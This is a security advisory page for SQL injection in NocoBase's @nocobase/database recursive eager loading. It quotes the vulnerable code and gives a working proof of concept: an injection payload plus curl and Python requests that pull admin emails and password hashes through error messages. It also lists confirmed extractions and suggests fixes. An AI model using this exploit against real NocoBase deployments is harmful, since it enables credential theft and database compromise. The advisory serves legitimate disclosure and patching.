GHSA-4948-F92Q-F432

Vulnerability from github – Published: 2026-04-22 20:09 – Updated: 2026-04-22 20:09
VLAI?
Summary
@nocobase/database has SQL Injection via String Concatenation through Recursive Eager Loading
Details

Summary

The queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.

Affected component: @nocobase/database (core) Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Any user with record-creation permission on a tree collection with string-type primary keys

Vulnerable Code

packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84

const queryParentSQL = (options: {
  db: Database;
  nodeIds: any[];
  collection: Collection;
  foreignKey: string;
  targetKey: string;
}) => {
  const { collection, db, nodeIds } = options;
  const tableName = collection.quotedTableName();
  const { foreignKey, targetKey } = options;
  const foreignKeyField = collection.model.rawAttributes[foreignKey].field;
  const targetKeyField = collection.model.rawAttributes[targetKey].field;

  const queryInterface = db.sequelize.getQueryInterface();
  const q = queryInterface.quoteIdentifier.bind(queryInterface);
  return `WITH RECURSIVE cte AS (
      SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
      FROM ${tableName}
      WHERE ${q(targetKeyField)} IN ('${nodeIds.join("','")}')  // <-- INJECTION
      UNION ALL
      SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}
      FROM ${tableName} AS t
      INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}
      )
      SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;
};

This function is called at line 384 when a BelongsTo association has recursively: true and instances exist:

// eager-loading-tree.ts:382-395
if (node.includeOption.recursively && instances.length > 0) {
    const targetKey = association.targetKey;
    const sql = queryParentSQL({
        db: this.db, collection, foreignKey, targetKey,
        nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows
    });
    const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction });
}

PoC

The payload keeps the CTE syntactically valid by injecting a third UNION ALL branch. The closing ') from the original template literal completes the injected WHERE clause, and the remaining UNION ALL ... INNER JOIN ... SELECT ... FROM cte lines stay intact.

Injection ID value:
  root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1

Generated SQL (3 valid UNION ALL branches):
  WITH RECURSIVE cte AS (
    SELECT "id", "parentId" FROM "table"
    WHERE "id" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1')
    UNION ALL
    SELECT t."id", t."parentId" FROM "table" AS t INNER JOIN cte ON t."id" = cte."parentId"
  ) SELECT "id" AS "id", "parentId" AS "parentId" FROM cte

The CAST-to-integer triggers a runtime error whose message contains the subquery result.
TOKEN="<jwt_token>"

# 1. Create tree collection with string PKs
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"vuln_tree","tree":"adjacencyList","fields":[
    {"name":"id","type":"string","primaryKey":true,"interface":"input"},
    {"name":"title","type":"string","interface":"input"},
    {"name":"parent","type":"belongsTo","target":"vuln_tree","foreignKey":"parentId","targetKey":"id","treeParent":true},
    {"name":"children","type":"hasMany","target":"vuln_tree","foreignKey":"parentId","sourceKey":"id","treeChildren":true}
  ]}'

# 2. Create safe root
curl -s http://TARGET:13000/api/vuln_tree:create \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"id":"root","title":"Root"}'

# 3. Create injection parent — error-based extraction of admin email
python3 -c "
import requests, json
headers = {'Authorization': 'Bearer $TOKEN', 'Content-Type': 'application/json'}
payload_id = \"root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\"
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
    json={'id': payload_id, 'title': 'x'})
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
    json={'id': 'child', 'title': 'c', 'parentId': payload_id})
r = requests.get('http://TARGET:13000/api/vuln_tree:list', headers=headers,
    params={'appends[]': 'parent(recursively=true)', 'pageSize': '100'})
print(json.dumps(r.json(), indent=2))
"
# Returns: 500 {"errors":[{"message":"invalid input syntax for type integer: \"admin@nocobase.com\""}]}
#                                                                          ^^^^^^^^^^^^^^^^^^^^^^^
#                                                             Exfiltrated data in error message

Confirmed extractions (tested against NocoBase v2.0.32 + PostgreSQL 16.13):

Subquery Extracted Value
SELECT version() PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on aarch64-unknown-linux-gnu...
SELECT current_database() nocobase
SELECT email FROM users ORDER BY id LIMIT 1 admin@nocobase.com
SELECT password FROM users ORDER BY id LIMIT 1 006af6756e9660888c44ab311fe992341af0ecab4aaf13e48c8d0001948acc38
SELECT string_agg(email\|\|':'||substring(password,1,16), ' \| ') FROM users admin@nocobase.com:006af6756e96 \| member@nocobase.com:4653e80e3cbf

Impact

  • Confidentiality: Error-based extraction of any database value. Full credential dump confirmed (emails + password hashes).
  • Integrity: Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries.
  • Availability: Resource-exhaustive queries or destructive DDL.
  • Scope change: On PostgreSQL with superuser, COPY ... TO PROGRAM achieves OS command execution.
  • Blast radius: Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in plugin-field-sort/src/server/sort-field.ts:124.

Fix Suggestion

  1. Use parameterized queries. Replace the string concatenation with bind parameters: javascript const placeholders = nodeIds.map((_, i) => `$${i + 1}`).join(','); const sql = `WITH RECURSIVE cte AS ( SELECT ${q(targetKeyField)}, ${q(foreignKeyField)} FROM ${tableName} WHERE ${q(targetKeyField)} IN (${placeholders}) UNION ALL ... ) SELECT ... FROM cte`; return { sql, bind: nodeIds }; Then call db.sequelize.query(sql, { type: 'SELECT', bind: nodeIds, transaction }).

  2. Apply the same fix to plugin-field-sort/src/server/sort-field.ts:124, which has an identical concatenation pattern with filteredScopeValue.

  3. Validate primary key values at record creation time. Reject or escape values containing SQL metacharacters (', ", ;, --) in string-type primary key fields.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nocobase/database"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.39"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41640"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T20:09:02Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `queryParentSQL()` function in the core database package constructs a recursive CTE query by joining `nodeIds` with string concatenation instead of using parameterized queries. The `nodeIds` array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.\n\n**Affected component:** `@nocobase/database` (core)\n**Affected versions:** \u003c= 2.0.32 (confirmed)\n**Minimum privilege:** Any user with record-creation permission on a tree collection with string-type primary keys\n\n## Vulnerable Code\n\n`packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84`\n\n```javascript\nconst queryParentSQL = (options: {\n  db: Database;\n  nodeIds: any[];\n  collection: Collection;\n  foreignKey: string;\n  targetKey: string;\n}) =\u003e {\n  const { collection, db, nodeIds } = options;\n  const tableName = collection.quotedTableName();\n  const { foreignKey, targetKey } = options;\n  const foreignKeyField = collection.model.rawAttributes[foreignKey].field;\n  const targetKeyField = collection.model.rawAttributes[targetKey].field;\n\n  const queryInterface = db.sequelize.getQueryInterface();\n  const q = queryInterface.quoteIdentifier.bind(queryInterface);\n  return `WITH RECURSIVE cte AS (\n      SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}\n      FROM ${tableName}\n      WHERE ${q(targetKeyField)} IN (\u0027${nodeIds.join(\"\u0027,\u0027\")}\u0027)  // \u003c-- INJECTION\n      UNION ALL\n      SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}\n      FROM ${tableName} AS t\n      INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}\n      )\n      SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;\n};\n```\n\nThis function is called at line 384 when a `BelongsTo` association has `recursively: true` and instances exist:\n\n```javascript\n// eager-loading-tree.ts:382-395\nif (node.includeOption.recursively \u0026\u0026 instances.length \u003e 0) {\n    const targetKey = association.targetKey;\n    const sql = queryParentSQL({\n        db: this.db, collection, foreignKey, targetKey,\n        nodeIds: instances.map((instance) =\u003e instance.get(targetKey)), // from DB rows\n    });\n    const results = await this.db.sequelize.query(sql, { type: \u0027SELECT\u0027, transaction });\n}\n```\n\n## PoC\n\nThe payload keeps the CTE syntactically valid by injecting a third `UNION ALL` branch. The closing `\u0027)` from the original template literal completes the injected `WHERE` clause, and the remaining `UNION ALL ... INNER JOIN ... SELECT ... FROM cte` lines stay intact.\n\n```\nInjection ID value:\n  root\u0027) UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE (\u00271\u0027=\u00271\n\nGenerated SQL (3 valid UNION ALL branches):\n  WITH RECURSIVE cte AS (\n    SELECT \"id\", \"parentId\" FROM \"table\"\n    WHERE \"id\" IN (\u0027root\u0027,\u0027root\u0027) UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE (\u00271\u0027=\u00271\u0027)\n    UNION ALL\n    SELECT t.\"id\", t.\"parentId\" FROM \"table\" AS t INNER JOIN cte ON t.\"id\" = cte.\"parentId\"\n  ) SELECT \"id\" AS \"id\", \"parentId\" AS \"parentId\" FROM cte\n\nThe CAST-to-integer triggers a runtime error whose message contains the subquery result.\n```\n\n```bash\nTOKEN=\"\u003cjwt_token\u003e\"\n\n# 1. Create tree collection with string PKs\ncurl -s http://TARGET:13000/api/collections:create \\\n  -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"vuln_tree\",\"tree\":\"adjacencyList\",\"fields\":[\n    {\"name\":\"id\",\"type\":\"string\",\"primaryKey\":true,\"interface\":\"input\"},\n    {\"name\":\"title\",\"type\":\"string\",\"interface\":\"input\"},\n    {\"name\":\"parent\",\"type\":\"belongsTo\",\"target\":\"vuln_tree\",\"foreignKey\":\"parentId\",\"targetKey\":\"id\",\"treeParent\":true},\n    {\"name\":\"children\",\"type\":\"hasMany\",\"target\":\"vuln_tree\",\"foreignKey\":\"parentId\",\"sourceKey\":\"id\",\"treeChildren\":true}\n  ]}\u0027\n\n# 2. Create safe root\ncurl -s http://TARGET:13000/api/vuln_tree:create \\\n  -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"id\":\"root\",\"title\":\"Root\"}\u0027\n\n# 3. Create injection parent \u2014 error-based extraction of admin email\npython3 -c \"\nimport requests, json\nheaders = {\u0027Authorization\u0027: \u0027Bearer $TOKEN\u0027, \u0027Content-Type\u0027: \u0027application/json\u0027}\npayload_id = \\\"root\u0027) UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE (\u00271\u0027=\u00271\\\"\nrequests.post(\u0027http://TARGET:13000/api/vuln_tree:create\u0027, headers=headers,\n    json={\u0027id\u0027: payload_id, \u0027title\u0027: \u0027x\u0027})\nrequests.post(\u0027http://TARGET:13000/api/vuln_tree:create\u0027, headers=headers,\n    json={\u0027id\u0027: \u0027child\u0027, \u0027title\u0027: \u0027c\u0027, \u0027parentId\u0027: payload_id})\nr = requests.get(\u0027http://TARGET:13000/api/vuln_tree:list\u0027, headers=headers,\n    params={\u0027appends[]\u0027: \u0027parent(recursively=true)\u0027, \u0027pageSize\u0027: \u0027100\u0027})\nprint(json.dumps(r.json(), indent=2))\n\"\n# Returns: 500 {\"errors\":[{\"message\":\"invalid input syntax for type integer: \\\"admin@nocobase.com\\\"\"}]}\n#                                                                          ^^^^^^^^^^^^^^^^^^^^^^^\n#                                                             Exfiltrated data in error message\n```\n\n**Confirmed extractions (tested against NocoBase v2.0.32 + PostgreSQL 16.13):**\n\n| Subquery | Extracted Value |\n|----------|----------------|\n| `SELECT version()` | `PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on aarch64-unknown-linux-gnu...` |\n| `SELECT current_database()` | `nocobase` |\n| `SELECT email FROM users ORDER BY id LIMIT 1` | `admin@nocobase.com` |\n| `SELECT password FROM users ORDER BY id LIMIT 1` | `006af6756e9660888c44ab311fe992341af0ecab4aaf13e48c8d0001948acc38` |\n| `SELECT string_agg(email\\|\\|\u0027:\u0027||substring(password,1,16), \u0027 \\| \u0027) FROM users` | `admin@nocobase.com:006af6756e96 \\| member@nocobase.com:4653e80e3cbf` |\n\n## Impact\n\n- **Confidentiality:** Error-based extraction of any database value. Full credential dump confirmed (emails + password hashes).\n- **Integrity:** Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries.\n- **Availability:** Resource-exhaustive queries or destructive DDL.\n- **Scope change:** On PostgreSQL with superuser, `COPY ... TO PROGRAM` achieves OS command execution.\n- **Blast radius:** Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in `plugin-field-sort/src/server/sort-field.ts:124`.\n\n## Fix Suggestion\n\n1. **Use parameterized queries.** Replace the string concatenation with bind parameters:\n   ```javascript\n   const placeholders = nodeIds.map((_, i) =\u003e `$${i + 1}`).join(\u0027,\u0027);\n   const sql = `WITH RECURSIVE cte AS (\n       SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}\n       FROM ${tableName}\n       WHERE ${q(targetKeyField)} IN (${placeholders})\n       UNION ALL\n       ...\n   ) SELECT ... FROM cte`;\n   return { sql, bind: nodeIds };\n   ```\n   Then call `db.sequelize.query(sql, { type: \u0027SELECT\u0027, bind: nodeIds, transaction })`.\n\n2. **Apply the same fix to `plugin-field-sort/src/server/sort-field.ts:124`**, which has an identical concatenation pattern with `filteredScopeValue`.\n\n3. **Validate primary key values** at record creation time. Reject or escape values containing SQL metacharacters (`\u0027`, `\"`, `;`, `--`) in string-type primary key fields.",
  "id": "GHSA-4948-f92q-f432",
  "modified": "2026-04-22T20:09:02Z",
  "published": "2026-04-22T20:09:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/pull/9133"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/commit/202e2b8efe44ba90adbf1087f6f70881ff947604"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nocobase/nocobase"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@nocobase/database has SQL Injection via String Concatenation through Recursive Eager Loading"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…